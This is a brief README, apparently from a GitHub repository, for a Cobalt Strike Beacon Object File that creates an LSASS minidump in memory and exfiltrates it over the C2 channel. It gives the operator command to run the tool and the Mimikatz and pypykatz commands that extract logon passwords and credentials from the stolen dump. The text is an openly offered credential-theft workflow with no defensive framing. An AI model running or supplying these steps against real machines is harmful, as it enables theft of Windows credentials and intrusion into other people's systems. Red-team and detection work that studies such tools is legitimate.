deh00ni/ntdumpbofCobalt Strike BOF that creates an LSASS minidump in memory and exfiltrates it over the C2 callback for offline credential parsing with Mimikatz or pypykatz.
BOF port of the tool https://github.com/ricardojoserf/NativeDump written by @ricardojoserf.
Import NtDump.cna and run:
ntdump <filename>
The minidump file will be created in memory and downloaded using CALLBACK_FILE and CALLBACK_FILE_WRITE. Once downloaded the file will be visible at View -> Download.
This can subsequently be parsed using Mimikatz
mimikatz # sekurlsa::minidump <file path to downloaded minidump file>
mimikatz # sekurlsa::logonpasswords full
Or pypykatz
pypykatz lsa minidump <file path to downloaded minidump file>